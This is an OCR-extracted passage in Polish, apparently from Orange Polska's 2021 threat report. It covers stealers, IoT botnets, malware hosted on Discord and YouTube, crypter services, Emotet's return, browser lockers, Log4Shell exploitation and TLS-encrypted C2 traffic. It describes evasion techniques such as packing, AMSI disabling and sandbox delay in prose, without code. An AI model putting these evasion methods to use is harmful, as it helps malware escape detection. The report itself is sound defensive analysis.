dominacje stealerow (zdarzenia wzrosty o dodatkowe 7%),
do czego w gtdwnej mierze przyczynit sie RedLine Stealer.
Innymi rodzinami, ktére zaznaczyty swojg obecnos¢ w sieci
Orange na przetomie lipca i wrze$nia byty — omawiany juz
wczesniej Trickbot | BazarLoader, a takze loader Glupteba
i RAT Ave Maria (identyfikowany choc¢by z kampanig
phishingowa spoofujaca bank Millenium). Na 3Q przypada
tez szczyt wykry¢ zagrozen zwigzanych z ransomware,
ktére dostarczane w paczkach z infostealerami przez
komercyjne downloadery np. SmokelLoadera odnotowaty
blisko 25% wzrost aktywnosci.

Na przestrzeni catego roku 2021, Mirai byt najwiekszym
zagrozeniem dla segmentu loT. Od czasu jego pojawienia
sie w 2016, malware ten zyskiwat wiele mutacji i odmian.
Mozi, jako jedna z najnowszych ewolucji Miraia, stanowi
zdecydowanie najwieksza czesé jego botnetu. Jego
operatorzy pozostali wierni pierwotnej funkcjonalnosci
najstynniejszego botnetu loT i uzywajg go gtownie

do atakéw DDoS w modelu komercyjnym.

Dzieki temu, ze kazdy z jego botéw jest potencjalnym
dostarczycielem payloadu, Mozi rozprzestrzenia sie dalej,
pomimo ze czes$¢ jego operatordw zostato aresztowanych
przez chinskie stuzby, o czym dowiedzieliSmy sie 1 wrzesnia
2021 r. Niewykluczone, ze Mozi szczyt osiggneto w 2021 r.,

a jego dalszy rozwdj bedzie zaleze¢ od tego czy do aresztu
faktycznie trafili jego gtéwni operatorzy, a pozbawiony rozwoju
malware zacznie traci¢ na znaczeniu w roku 2022.

Ale poza wariantami Miraia, ataki na urzgdzenia loT w dalszym
ciggu nie traca rozpedu. Przewaznie atakujacy wykorzystuja
starsze juz wersje malware’u i znane luki w zabezpieczeniach,
ale pojawiajg sie réwniez $wiezo zgtoszone lub nieznane
jeszcze podatnosci. Pierwsze podejscie dobrze ilustruje nadal
wysoka aktywnos¢ Gafgyta czy botnetu ZHtrap.

Drugie podejscie znamy z przypadkdw eksploitowania
podatnosci OMIGOD w infrastrukturze Azure.
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W drugim i trzecim kwartale 2021 r. zauwazyliSmy

zmiany w metodach dostarczania ztosliwego oprogramowania
na zainfekowane stacje. Cho¢ metody wykorzystania
infrastruktury firm trzecich testowane sg przez
cyberprzestepcow od kilku lat (OneDrive, Dropbox

czy Pastebin), tak w tym roku zyskaty na znaczeniu.

W roku 2021 do tego grona na szeroka skale zaczeto
uzywac takze serweréw CDN Discorda, a takze w mniejszym
stopniu repozytoriéw githuba. Na samym hostowaniu
malware‘u na potencjalnie godnych zaufania serwerach

sie nie skonczyto. Do komunikacji z serwerami C&C zaczeto
uzywac czesciej serwerdw proxy, jak chocby feedproxy.
google.com wykorzystanych w kampanii Hancitora w 3Q
2021 r., a do eksfiltracji danych stuzyt wspomniany juz
Discord czy Telegram.

Wykorzystanie infrastruktury obcej pozwala
cyberprzestepcom unikng¢ wykrycia przez bazujgce

na reputacji systemy bezpieczenstwa. Jednoczesnie
jednak, stwarza dodatkowe ryzyko utarty dostepu

do spreparowanych w infrastrukturze kanatéw w sytuaciji
wykrycia zagrozenia przez administratorow infrastruktury.
Zalety wyptywajgce z mozliwosci wtopienia sie

w z zatozenia bezpieczng komunikacje sieciowa

do zaufanych aplikacji bez watpienia spowoduja,

ze trend ten rozprzestrzeni sie na inne podobne ustugi.

Najwieksza inwazja ztosliwego oprogramowania zalata
wtasnie serwery Discorda i trwa do dzisiaj. Discord to
sieciowy komunikator i cyfrowa platforma dystrybucji
tresci. Jego serwery moga by¢ podzielone na tematyczne
kanaty, na ktérych uzytkownicy dyskutuja i wymieniaja

sie tresciami, w tym takze réznego rodzaju zatgczonymi
dokumentami, filmami, obrazkami i plikami. Powyzsze
funkcjonalnosci, jak i fakt ze kazdy serwer Discorda

jest utrzymywany w ramach infrastruktury Discorda sprawit,
ze platforma zaczeta byé masowo wykorzystywana

w propagowaniu malware‘u. W sieci OPL zidentyfikowali$my
ponad 30 réznych rodzin ztosliwego oprogramowania
dostarczanych w linkach wiodgcych na te platforme.

Do najpopularniejszych kampanii zaliczy¢ mozna
dystrybucje AsyncRAT, RedLine, Raccoon, Agenta

Tesla, Azorult, Formbook, a zwtaszcza Dridexa.

Chociaz Discord byt poczatkowo ukierunkowany

na spotecznos$é graczy, z powoddw pandemii coraz

wiecej organizaciji i firm zaczeto uzywacé go jako narzedzia
do komunikacji w miejscu pracy. W roku 2021 do grona jego
statych klientow dotgczyty takze grupy cyberprzestepcow.
Teraz po stronie zespotu bezpieczenstwa Discorda lezy
zadanie by uczyni¢ platforme bezpieczna dla uzytkownikéw
i w miare mozliwosci wolng od reputacji serwera dystrybuciji
ztosliwego oprogramowania.

Innym kanatem dostarczania ztosliwego payloadu okazat
sie kanat YouTube. Przypadki wykorzystania linkéw w opisie
filméw byty znane juz od kilku lat, ale rok 2021 przynidst

w tym wzgledzie zmiany nie tylko w liczbach, ale i nowych
technikach phishingowych utozsamiajgcych wyswietlany
obraz z zatgczonym w linku programem.

W sieci OPL zidentyfikowali§my ponad 200 filméw

i przeszto 90 kanatéw wykorzystanych wytacznie

Packer as a Service, czyli kolejny
element fancucha dystrybuciji ztosliwego
oprogramowania w rozkwicie

Malware jest jednym z gtéwnych narzedzi w arsenale
cyberprzestepcéw. W zaleznosci od poziomu
zaawansowania technicznego, srodkéw i specyfiki
dziatania cyberprzestepcy do atakéw wykorzystujg gotowe
frameworki operacyjne (Cobalst Strike, Powershell Empire),
jak i wtasnorecznie przygotowany lub odkupiony kod.

Kazdorazowe przygotowywanie oprogramowania,

dla kazdego ataku wymaga ogromnych zasobdw,
dlatego wsrdd cyberprzestepcdw dominuje tendencja
do utylizacji dostepnego na rynku ztosliwego
oprogramowania w wielu réznych operacjach,

a takze udostepniania go innym grupom na rynku
Malware as a Service. Rzecz jasna, taka sytuacja sprawia,
ze wiekszos¢ narzedzi bezpieczenstwa jest w stanie
poprawnie zidentyfikowac taki kod jako malware
niezaleznie od czestotliwosci aktualizacji jego modutdw
i konfiguracii.

Aby temu zaradzi¢ hakerzy uzywaja technik pakowania,
szyfrowania i zaciemniania kodu, by unikngé wykrycia

juz na etapie analizy statycznej. Takie techniki sg
najczesciej realizowane przez osobne narzedzia nazywane
krypterami lub pakerami. Jak dziata paker i jak odr6zni¢
autorskie kryptery od tych wykorzystywanych w ustugach
oferowanych na forach Dark Webu?

Sposob funkcjonowania krypterow rdzni sie w zaleznosci
od ich wersji i pomystu na exploitowanie systemu
operacyjnego na ktérym majg by¢ uruchomione,

ale istnieje tez pewna charakterystyka elementéw
wspdinych.

B Algorytm ekstrakcji kodu jest realizowany w ulotnej
pamieci podrecznej komputera do ktorej nastepuje
alokacja kodu, po czym przeprowadzone jest jego
dekodowanie badz odszyfrowanie

B Sam packer korzysta z rozmaitych technik
zaciemniania, w celu utrudnienia jego analizy
poprzez wprowadzanie mylacych, niczemu
nie stuzacych lub odwracajgcych uwage funkcji
czy zasmiecaniu kodu bezuzytecznymi znakami.

B Packer charakteryzuje sie polimorficzng, mutujaca
struktura kodu, co umozliwia uzyskanie efekty
réznigcych sie od siebie prébek ztosliwego
oprogramowania, dostarczajgcego jednak
w ten sam sposéb, ten sam identyczny tadunek
malware’u.

Jednym z najbardziej popularnych packeréw

w 2021 byt Spin3 Crypter, wykorzystywany do dystrybuciji
rodziny RAT-6w takich jak Agent Tesla czy AsyncRAT.
Sinp3 charakteryzuje sie wykorzystaniem pastebina

i top4top.io do hostowania rzeczywistego tadunku
ztosliwego kodu czy uzycia parametru — RemoteSigned

w miejsce popularnego parametru — Bypass podczas
uruchamiania powershellowego skryptu w pierwszej
fazie ataku.

CryptOne packer to krytper, ktéry obstugiwat wiele
rodzin ztosliwego oprogramowania (od ransomware’u
Wastedlocker przez Ursnifa, Zloadera, Smokeloadera,

a nawet Emoteta, Dridexa, Qakbota czy Beacony Cobalt
Strike’a. CryptOne skfada sie z wielu etapéw wykonania.
Wykrycia unika poprzez obnizenie entropi danych,
oszukiwanie algorytmu deassembleréw, a takze prébuje
unika¢ wykrycia w sandboxach, pozostajgc nieaktywnym
przez dtugi czas poczatkowych, wypetniajac raport
analizy bezuzytecznymi i niegroznym informacjami.

Innymi wartymi wspomnienia packerami sg
HellowinPacker (ransomware Cerber, Zloader, Dridex

i Quakbot) czy Rex3Packer (Zeppelin ransomware,
Raccoon Stealer, KPOT stealer i po raz kolejny Quakbot).

Podane przyktady pokazujg nam w jaki sposéb grupy
cyberprzestepcéw moga delegowac miedzy sobg
obowigzki i rozpraszaé zadania, zwtaszcza jesli chodzi
o masowe dystrybucije ztosliwego oprogramowania.
Tworzenie ztosliwego payloadu, opakowanie go
krypterem i dostarczenie do uzytkownikow to w tej
chwili trzy oddzielne zadania realizowane zwykle przez
trzy oddzielne osoby lub grupy, po to by na przyktad
grupa czwarta mogta za optata z niego korzystaé.

A nie jest to wszakze koniec tancucha, gdyz w dalszej
kolejnosci mozna opowiadac o infrastrukturze
botnetu, serwerach Command nad Control czy
droppointach. Takie podejécie obniza prég wejscia

do cyberprzestepczosci dla technicznie
niewykwalifikowanych przestepcow, prowadzac

do wnioskoéw, z ktérych wynika, ze by przeprowadzi¢
masowy atak, wystarczy zgromadzi¢ niezbedna ilo$¢
pieniedzy, aby zaptaci¢ za wszystkie kolejne ustugi.

Opisane przez nas cryptery to tylko mata cze$¢
istniejacych na rynku produktow. Wszystkie wykazuja
jednak wspdlne cechy: plik wykonywalny wykazuje
sie zaciemnionym polimorficznym kodem, a przechowy-
wany w nim payload ztosliwego oprogramowania

jest dodatkowo szyfrowany uniemozliwiajgc jego
rozpoznanie przed uruchomieniem.

Taka konstrukcja mutujgcego kodu wsrod krypterdw
sprawia, ze statyczne rozpoznawanie plikéw jest bardzo
ograniczone, ale poniewaz tadunek w ramach uruchomienia
jest odszyfrowywany w pamieci podczas egzekucji
ztosliwego oprogramowania, dynamiczna analiza

przy uzyciu np. Sandboxéw umozliwia skuteczne
identyfikowanie wiasciwego kodu. Ponadto nalezy
pamietac, ze pakery w zaden sposéb nie wptywaja

na komunikacje ztosliwego oprogramowania

z serwerami C&C, a czujni badacze bezpieczenstwa
regularnie rozwijajg swoj arsenat narzedzi dekodujgcych
i rozbrajajacych kryptery ze ztosliwego kodu.
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do tych celéw. Czes$¢ kanatdéw nalezata do zwyktych,
nieswiadomych uzytkownikéw YouTube, ktérych
wykradzione dane dostepowe do ustug Google,
postuzyly do dalszego rozprzestrzeniania malware‘u,
ktory okradt ich samych.

Kampania zaczyna sie od utworzenia materiatu video

z przejetego konta, prezentujgcego poradniki dotyczace
uzycia konkretnego programu lub narzedzia. Najczestszymi
przypadkami sg instrukcje dotyczace kryptowalut i koparek,
ale zdarzajg sie tez poradniki korzystania z VPN czy
tematyki gier komputerowych. Oczywiscie omawiane

na filmie narzedzie zostaje podlinkowane w opisie filmu.

Z tymze nie do konca, bo zamiast pokazywanego
programu, link prowadzi na serwer (juz poza infrastrukturg
YouTube’a) dostarczajgcy ztosliwe oprogramowanie
(stealery RedLine lub Raccoon).

RedLine Stealer to oprogramowanie napisane w .NET-cie,
ktoére podobnie jak Raccoona, charakteryzuje dobieranie
nietypowych wektoréw infekciji, takich jak linki z filméw

na YT, adware w modelu pay per install, czy podszycia
pod legalne aplikacje (instalator Telegrama czy Anydeska),
ktorych strony pobierania (z podpisanym certyfikatem)
byly odptatnie wypoziomowane w serwisie Google do tego
stopnia, by ztosliwa witryna wyswietlata sie uzytkownikowi
jak najwyzej w wynikach wyszukiwania, niekiedy stajac

sie strong pierwszego wyboru.

Najczesciej wystepujace zdarzenia
w trzecim kwartale 2021 roku
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Czwarty kwartat 2021

Koniec roku przetozyt sie na ogdlny spadek wykrywanej liczby
zagrozen o okoto 5 procent. Po raz pierwszy od poczatku
roku zmniejszeniu ulegta liczba zdarzen infostealeréw (spadek
0 10%). Istotng tendencje spadkowag zaczeliSmy obserwowaé
takze wsrod Qukabota, Trickbota i Dridexa, ale to ransomware
zanotowat najwiekszy spadek w aktywnosci (cho¢ na
stosunkowo matej prébce) o 35 procent. Co ciekawe byliSmy
w tym czasie Swiadkiem najwiekszego w Europie ataku

Z uzyciem oprogramowania wymuszajgcego okup podczas
witamania cyberprzestepcdw do infrastruktury firmy MediaMarkt,
jednej z najwiekszych sieci sklepow z elektronikg w Europie.
Ransomware Hive skutecznie zaszyfrowat dane co zaktocito
prace wielu placowek (gtdéwnie w Holandii) i unieruchomienie
wielu systemow, ale co wazniejsze w zamian za przekazanie
kluczy deszyfrujacych zazadat rekordowej warto$ci okupu

w wysokosci 240 milionéw dolardéw.

W drugiej potowie roku liczba wiadomosci phishingowych
wykrywanych w sieci Orange wzrosta w poréwnaniu

do pierwszej o prawie 80%. Jednym z najbardziej
popularnych motywéw atakdw stanowit phishing aplikacyjny,
w ktérym uzytkownicy byli wabieni na fatszywe strony
popularnych aplikacji czy ustug wykorzystywanych zarowno
do pracy (Microsoft 365, panele webmailowe), jak

i do szeroko pojetej rozrywki (aplikacje streamingowe

czy sieci sklepdw). Tak jak w ubiegtych latach, podszycia
pod firmy spedycyjne utrzymaty sie w tym gronie

na wysokim poziomie.

Liczba atakoéw przy uzyciu oprogramowania z rodziny
downloaderéw/dropperéw zmniejszyta sie w poréwnaniu

do roku poprzedniego o przeszto 40%. Powodem drastycznego
spadku byto zamknigcie Botnetu Emoteta. Nawet jego
powrdt, cho¢ znaczacy nie wptynat na drastyczne podbicie
niskich stupkéw procentowych. Powr6t Emoteta byt niejako
spodziewany i niespodziewany jednoczesnie. Jako ze, tupem
operaciji Interpolu i stuzb powigzanych padta w gtéwnej
mierze infrastruktura i jej administratorzy, a nie wtasciwi
operatorzy i tworcy stojgcy za oprogramowaniem byto wielce
prawdopodobnym, ze ztosliwe oprogramowanie w jakie$
formie wréci jeszcze na rynek. Nie oczekiwalismy jednak,

ze zdarzy sie to jeszcze w 2021 roku. Czas pomiedzy
operacja Europolu, a powrotem na rynek, tworcy wykorzystali
na aktualizacje oprogramowania, wdrozenie poprawek

do istniejgcych modutdéw czy dopisanie nowych.

Wysoka jakos$¢ i skutecznosé kampanii phishingowych
zawdziecza metodom przejmowania legalnych kont
pocztowych i kradziezom danych z korespondenciji
wiadomosci mailowych do atakéw na kontakty ofiary,
tworzac tym samym caty tarcuch kolejnych elementow
podnoszgcych autentycznos$é rozsytanego malspamu.
Wszystko wskazuje na to, ze celem twércow Emoteta jest
odtworzenie Epok (Epochs) Botnetu oraz ponowne zdomi-
nowanie rynku Malware as a Service w dostarczaniu
ztosliwego oprogramowania przy zachowaniu wspotpracy
ze starymi znajomymi — Trickbotem i Quakbotem, a takze
innymi malware‘ami bankowymi czy ransomware. Jednakze
obserwowane wykorzystanie beaconéw Cobalt Strike’a
do przejmowania urzadzen wskazuje na plany wiekszej

Browser Lockers

Blokady przegladarek (tzw. browlocks) to klasa
zagrozen, ktdra uniemozliwia ofierze korzystanie

z przegladarki do czasu spetnienia zgdan okupu.
Locker to fatszywa strona, ktéra pod fikcyjnym
zagrozeniem i pretekstem (utrata danych,
odpowiedzialno$¢ prawna itp.) naktania

uzytkownika do wykonania potgczenia pod wskazany
numer, przelewu pieniedzy na portfel kryptowalut

lub podania danych konta w podstawionym panelu
ptatniczym. ,,Blokowanie”, ktore realizujg Lockery,
polega na uniemozliwieniu uzytkownikowi opuszczenia
biezacej zaktadki, ktéra wyswietla zastraszajgce
komunikaty, urozmaicajac je zwykle efektami
dzwiekowymi i wizualnymi.

Ten rodzaj oszustwa znany jest nam nie od dzis.

W ciggu ostatniej dekady pojawito sie wiele

kampanii blokujacych przegladarki skierowanych

do uzytkownikéw na catym swiecie. Mimo dojrzatego
wieku zagrozenie nie stracito na popularnosci,

wrecz przeciwnie - liczba sztuczek stosowanych
przez oszustow stale rosnie. Obejmuija one imitowanie
~hiebieskiego ekranu $mierci” (BSOD), fatszywe
ostrzezenia o btedach systemu lub wykrytych
wirusach, grozby zaszyfrowania plikbw, powiadomienia
o odpowiedzialnosci prawnej i wiele innych.

dywersyfikacji modelu biznesowego Emoteta i na cel
wezmie takze wieksze przedsiebiorstwa w mierzonych
atakach.Oprogramowaniem, ktére na przestrzeni catego
roku nie zanotowato praktycznie zadnych znaczacych wahan
aktywnosci byt znany juz stealer — Formbook, a w zasadzie
Xloader, ktéry stanowit wieksza czes$¢ infekcji. Dla uproszczenia
zaszeregowalismy je do aktywnosci Formbooka.

Xloader to nowa wersja Formbooka, ktéra zadebiutowata
na rynku jeszcze pod koniec 2020 roku, jako nastepca
Formbooka, ktérego rozwdj porzucono.

W poréwnaniu do Formbooka zmianie ulegt przede
wszystkim model biznesowy sprzedazy ustugi

z Crimeware as a service w bardziej optacalny
Malware-as-a-Service. Sprowadzato sie to do tego,

ze kod zroédtowy panelu C2 nie byt udostepniany
klientom wraz ze ztosliwym oprogramowaniem,

a infrastruktura C2 jedynie wypozyczana. Poza
biznesowymi zmianami xloader usprawnit tez model
komunikacji z C2 i ukrywania faktycznego serwera
komunikacji za grupg tzw. decoy domains, a takze
dodat kolejne warstwy szyfrowania do swojego kodu
utrudniajgc debugging i analize z wykorzystaniem
zautomatyzowanych narzedzi detekgciji. Ale cho¢ autorzy
porzucili Formbooka, oba zagrozenia - nowy Xloader

i stary Formbook mogli§my obserwowac w sieci
Orange Polska i nic nie wskazuje na to, zeby kampanie
rozsytajgce ten malware miaty ucichngé.

W sieci Orange browlocki propagowaty sie gtéwnie

za posrednictwem sieci reklamowych, ktérych

celem byto oferowanie uzytkownikom tresci i filméw
dla dorostych. Takie materiaty i reklamy osadzone
najczesciej w darmowych serwisach streamingowych

i wszelkich portalach warezowych, nachalnie zarzucaty
uzytkownikéw nagoscia, albo poprzez wyskakujgce

w trakcie przegladania tresci okienka (popupy),

albo otwierane w nowym oknie karty.

Z technicznego punktu widzenia blokady
przegladarek wykorzystujac proste mechanizmy
manipulacji sposobami wys$wietlania obrazu na ekranie
uzytkownika, maskuja brak technicznego
zaawansowania swoich kampanii. Zastony dymne

w postaci zablokowania kursora myszy czy ukrycia
paska przegladarki i nawigacji nawet pod sprytng
fasadg nie sg w stanie ukry¢ prymitywnej dos¢
funkcjonalnosci podszytej iluzja i socjotechnika.
Dlatego nie bez powodu celem takich atakéw

sg najczesciej osoby niepetnoletnie, ktore tatwiej
zamkna¢ w putapce ,,przytapania na gorgcym”
uczynku i szybkim, glosnym i wizualnie wyraznym
przekazem zmusi¢ do spetnienia okreslonych zgdan.

Jak juz wspomniatem wczesniej, informacije

o podatnosciach Log4Shell/Log4d zdominowaty

4Q 2021 r., przyémiewajac nawet powrét niestawnego
Emoteta. Luka w Log4j, pozornie niewinnej bibliotece
do logowania zdarzen w aplikacji Java, szturmem
podbita wszystkie media IT i postawita caty Swiat
cyberbezpieczenstwa w stan alarmowy. Powszechnos$¢
aplikacji javowych w tym Log4j w IT oraz tatwosc¢

w wykorzystaniu luki bezpieczenstwa sprawity,

ze liczba atakéw od chwili publikacji informaciji

o podatnosci z dnia na dzien rosta lawinowo.
Przygotowane frameworki do wykorzystania

w uzbrajaniu atakéw, tylko utatwity

przestepcom zadanie.

Hakerzy mogli poczu¢ sie jakby gwiazdka przybyta
odrobine za wczesnie. Atakujacy, dzieki preparowaniu
niebezpiecznych zapytah JNDI, mogli doklei¢ ztosliwy
cigg znakéw do kazdego elementu, ktoéry liczy

sie jako dane wejsciowe uzytkownika i obserwowac,

czy zostanie on gdzies$ zalogowany przez podatng na
ataki wersje Log4j. Jesli tak sie dziato nastepowato zdalne
wykonanie po stronie infrastruktury ofiary. Z drugiej strony,
dla zespotdéw bezpieczenstwa Log4Shell stanowit niemate
wyzwanie. W celu mitygacji zagrozenia nalezato znalez¢
kazde oprogramowanie w organizacji, ktére posrednio

lub bezposrednio wykorzystywato podatng aplikacje,

a nastepnie je zaktualizowac¢ i zatata¢. Proces ten musiat
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by¢ zrealizowany nie tylko w jak najkrétszym czasie,
ale tez powtdrzony niekiedy kilkukrotnie, jako ze niektére
patche nadal okazywaty sie podatne na ataki.

Z punktu widzenia badacza bezpieczenstwa interesujgce
byto obserwowanie sposobu, w jaki exploit zostat
wykorzystany przez ré6znych napastnikéw. Poczatkowe
sondowanie podatnosci opierato sie na zapytaniach
DNS. Nastepnie zaczeto wykorzystywac Log4Shell

do zdalnego wykonywania kodu za pomoca ustug RMI

i LDAP. Stringi JNDI szybko zaczety by¢ zaciemnianie

i obfuskowane w ramach unikniecia prostej sygnaturowej
detekcji na silnikach IDS. Wszystkie te poszczegdlne
etapy nie trwaty dtuzej jak kilka dni, by niespetna tydzien
od publikacji raportu exploit zostat uzbrojony

do rozpowszechniania wszelkiego rodzaju ztosliwego
oprogramowania, od prostych coinmineréw po
grozniejsze backdoory, bankery, czy ransomware.

Najczesciej wystepujace zdarzenia
w czwartym kwartale 2021 roku
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Podsumowanie roku 2021
w sieci stacjonarnej

Rok 2021 przynidst spadek liczby wykrywanych
zagrozen o 18%. Najwiekszy spadek zanotowaty
zagrozenia na system operacyjny Windowsa (17%).

W$rdd rodzin ztosliwego oprogramowania zauwazalny
spadek zaliczyt adware i oprogramowanie z rodziny
malvertisment (spadek liczby zdarzen o 7%), a przede
wszystkim downloadery (0 10%). Najwiekszy za$ wzrost
przypadt w udziale zagrozen z rodziny infostealeréw

(0 15%) i RAT-6w (0 6%).
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Pomimo rekordowych kurséw na gietdzie kryptowalut,

w sieci OPL nie odnotowali$émy znaczacych zmian w liczbie
niechcianych koparek. Cho¢ w dalszym ciggu dostarczane
sg one w ramach kampanii adware’owych oraz przez
niektore ztosliwe oprogramowanie, zdecydowanie wiekszy
nacisk obserwowali$my w konfiguracjach stealeréw, ktérych
wiekszo$¢ wzbogacita sie o modut do przechwytywania
dostepdw do portfeli krypto.

Najczesciej wystepujace zdarzenia
infekcji w roku 2021

orvivai I 6%
AgentTesla.Stealer _ 14%

I0T.Gafgyt - 5%,
Raccoon.Stealer - 4%,
Snake.Keylogger - 3%
Quakbot.Banker . 20/,

RedLine.Stealer _ 90/0
Lokibot.Stealer - 59,

Formbook.Stealer _ 9%)

Rok 2021 nie przyniost gwattownych przetasowan w grupach
ztosliwego oprogramowania nekajgcego uzytkownikéw sieci
stacjonarnej. Potowa rodzin pojawita si¢ w tym zestawieniu
rok po roku, a zagrozenia takie jak RedLine, Lokibot, Snake
czy Quakbot cho¢ nie byly w poprzednim roku na liscie,

nie plasowaty sie daleko od najpopularniejszej dziewiatki.
Mirai ponownie okazat sie najczesciej wystepujacym
zagrozeniem w sieci stacjonarnej, cho¢ statystycznie
zanotowat spadek o 3% wzgledem zdarzen z roku
poprzedniego, tymczasem Gafgyt zanotowat najwiekszy
spadek liczby zdarzen o blisko 40%. Mimo tych wahan
omawiany rok nie przyniost przefomowych zmian

w zagrozeniach czyhajacych na loT. Stabo$¢ zabezpieczen
urzadzen przeznaczonych do powszechnych zastosowan

w dalszym ciagu sprawia, ze podatnosci znane

i wykorzystywane od kilku lat nadal sprawdzajg sie $wietnie.
Czas pokaze czy nowe, lepsze i bezpieczniejsze produkty
stang na wysokosci zadania i zmuszg przestepcéw do
wiekszego wysitku w celu ich przetamania ich zabezpieczen.

Piotr Kowalczyk
Cyberbezpieczenstwo Orange Polska

Jak szyfrowanie ruchu pomaga
cyberprzestepcom w ukryciu wiasnych
operacji

Poniewaz coraz wigcej ustug w internecie korzysta z TLS,
rowniez liczba ztosliwej komunikacji ulegta podwojeniu.
Implementacja TLS byta jednym istotnym wktadem

w podniesienie standardu prywatnosci i bezpieczenstwa
komunikaciji na przestrzeni ostatniej dekady. Protokdt
kryptograficzny TLS stuzy do zabezpieczania coraz wiekszej
czesci ruchu internetowego, przesytania wiadomosci

z komunikatoréw i danych aplikacyjnych. Z TLS-a korzysta
HTTPS, protokét poczty elektronicznej StartTLS, sie¢
anonimowa TOR i wirtualne sieci prywatne oparte

na protokole Open VPN.

W ciggu ostatniej dekady, zwtaszcza w nastepstwie
nagto$nionych przez media tematéw zwigzanych z masowg
inwigilacja internetu, wykorzystanie TLS pokryto wieksza
cze$¢ komunikacii sieciowej w nim widocznej. Wedtug
danych Google liczba stron internetowych wykorzystujacych
TLS stanowi 98% catosci. Nie powinno wiec dziwié,

ze operatorzy ztosliwego oprogramowania réwniez
wykorzystujg TLS z zasadniczo tych samych powodéw

co wiekszos$¢ z nas: aby zachowac anonimowosé.

W ciggu ostatniego roku zaobserwowali$my wzrost liczby
zlodliwego oprogramowania wykorzystujgcego TLS

0 93% w stosunku do roku poprzedniego, a niemal
polowa monitorowanego przez nas ruchu sieciowego
korzysta z szyfrowania swoich komunikacji.

Duza cze$c¢ tego wzrostu moze wynika¢ z rosngcego
wykorzystania legalnych ustug internetowych i chmurowych
chronionych przez TLS — takich jak Discord, Pastebin,
Github i ustugi chmurowe Google — jako repozytoridw
sktadnikow ztosliwego oprogramowania. jako miejsca

do przesyitki wykradzionych danych, a nawet jako cele
komunikacji do botnetéw. Ale obserwowany wzrost
wynika réwniez ze zwiekszonego wykorzystania Tora

i innych serweréw proxy opartych na protokole TLS

w celu enkapsulacji ztosliwej komunikacji miedzy
ztodliwym oprogramowaniem a serwerem zarzgdzajgcym.

Komunikacja ze ztosliwym oprogramowaniem zazwyczaj
dzieli sie na trzy kategorie: pobieranie dodatkowego
ztosliwego oprogramowania, eksfiltracja skradzionych
danych oraz pobieranie lub wysytanie instrukcji do

lub z serwera botnetu. Wszystkie te rodzaje komunikacji
moga wykorzystywac szyfrowanie TLS w celu unikniecia
wykrycia przez obroricéw. W latach ubiegtych szyfrowanie
komunikacji byto najczesciej spotykane w trzeciej kategorii,
a najrzadziej w pierwszej. W roku 2021 to wtasnie droppery,
czyli programy pobierajgce dodatkowe ztosliwe
oprogramowanie do zainfekowanego systemu,

zwiekszyty wykorzystanie TLS praktycznie dwukrotnie

Wykorzystanie TLS w dropperze nie wymaga duzego
wyrafinowania, poniewaz infrastruktura obstugujaca TLS

jest dostepna w standardzie i bezptatna. Powszechne

stato sie tez wykorzystywanie legalnej infrastruktury firm
trzecich lub serwiséw chmurowych do przechowywania

i dostarczania malware’u. (ransomware Lockbit pobierajacy
dodatkowy kod z arkusza kalkulacyjnego Google Docs,
AgentTesla instalujacy sie na stacji z repozytoriéw
pastebina). Czasami ztosliwe oprogramowanie korzysta

w ten sposob z wielu ustug w jednym ataku. Na przyktad
jeden z dropperoéw, ktore znalezliSmy w sieci na pierwszym
etapie pobierat payload z serwera Discorda, kolejny etap
rowniez zawierat plik hostowany na Discordzie, ktéry

z kolei probowat zatadowac kod bezposrednio z GitHub-a.
Podobnych konfiguracji obserwowaliSmy wiecej, zwtaszcza
w dystrybucjach powigzanych ze stealerami z rodziny
RedLine i Raccoon.

Jak wspomniatem, TLS jest wykorzystywany powszechnie
rowniez na etapie komunikacji zainfekowanego urzadzenia
z serwerem zarzgdzania. Wysytajac zgdania HTTPS

lub tgczac sie przez ustuge proxy opartg na TLS, ztosliwe
oprogramowanie moze utworzy¢ reverse shell do
przekazywania instrukcji lub w celu pobrania dodatkowych
modutdw lub kluczy wymaganych do wykonania
okreslonych funkcji. Serwery c2 moga by¢ zdalnymi
serwerami webowymi lub moga by¢ oparte na jednym

lub kilku dokumentach osadzonych na legalnej ustudze

w chmurze. (Lampion Banker wykorzystywat tres¢ jednego
z dokumentdéw tekstowych w Google Docs jako klucza
niezbednego do odszyfrowania czesci kodu wykonywalnego,
a usuniecie dokumentu z chmury podziatato jak KillSwitch
czynigc malware bezuzytecznym.

Ten sam rodzaj potaczenia moze by¢ uzywany w celach
eksfiltracji czyli przesytania danych uwierzytelniajgcych
uzytkownika, haset, plikéw cookie i innych zebranych
informacji z powrotem do operatora ztosliwego
oprogramowania. Aby ukry¢ kradziez danych , malware
moze je zawrze¢ w komendzie HTTPS POST opartej na
TLS lub wyeksportowac je za posrednictwem potgczenia
TLS do interfejsu API ustugi w chmurze, np. API ,bota”
Telegram lub Discord.

Jednym z przyktadow ciekawej implementacji TLS jest
SystemBC, wieloaspektowe narzedzie do ztosliwej
komunikacji wykorzystywane w wielu niedawnych atakach
ransomware. Pierwsze prébki SystemBC, zauwazone
ponad rok temu, dziataty przede wszystkim jako sieciowy
serwer proxy, tworzac dla atakujgcych wirtualng sie¢
prywatng opartg na zdalnym potaczeniu SOCKS5 proxy
zaszyfrowanym za pomocg TLS. Jednak ztosliwe
oprogramowanie nadal ewoluowato, a nowsze probeki
SystemBC przeobrazity sie w peti funkcjonalne narzedzia
zdalnego dostepu (RAT), ktére moze zdalnie wywotywaé
kod, a takze dostarcza¢ i uruchamiaé skrypty, ztosliwe
pliki wykonywalne i biblioteki DLL.

Ciekawym przypadkiem wykorzystania TLS moze
pochwali¢ sie AgentTesla, ktdry rozbite na fragmenty,
zakodowane czesci ztosliwego oprogramowania trzymat na
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Pastebinie i Hastebinie. Na pierwszym etapie, downloader
dodatkowo unikat detekcji wytaczajac modut AMSI
(AntiMalwareSoftwarelnterface) zapobiegajac skanowaniu
pobieranych fragmentéw kodu podczas ich taczenia

i dekodowania. Z kolei komunikacja do C2 realizowana
jest przez wezty TOR-owe lub alternatywnie via chroniony
TLSem BOT Telegrama.

Réwniez niechciane oprogramowanie adware wykorzystuje
w tej chwili uroki szyfrowania ruchu, ukrywajgc zbieranie
informacje z warstwie TLS. Podobnie rzecz ma sie

z phishingiem. Panele z tzw. ,zielong ktédka” juz dawno
przestaty by¢ jakimkolwiek wskaznikiem bezpieczenstwa.

Rodzaje zagrozen wykrywanych w 2021 roku
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TOP 5 Stealer-6w wykrywanych w 2021 roku

Najbardziej niepokojacym trendem, jaki zauwazylismy,
jest wykorzystanie komercyjnej chmury i ustug internetowych
w ramach dystrybucji i zarzadzania ztosliwym
oprogramowaniem. Wykorzystanie legalnych platform
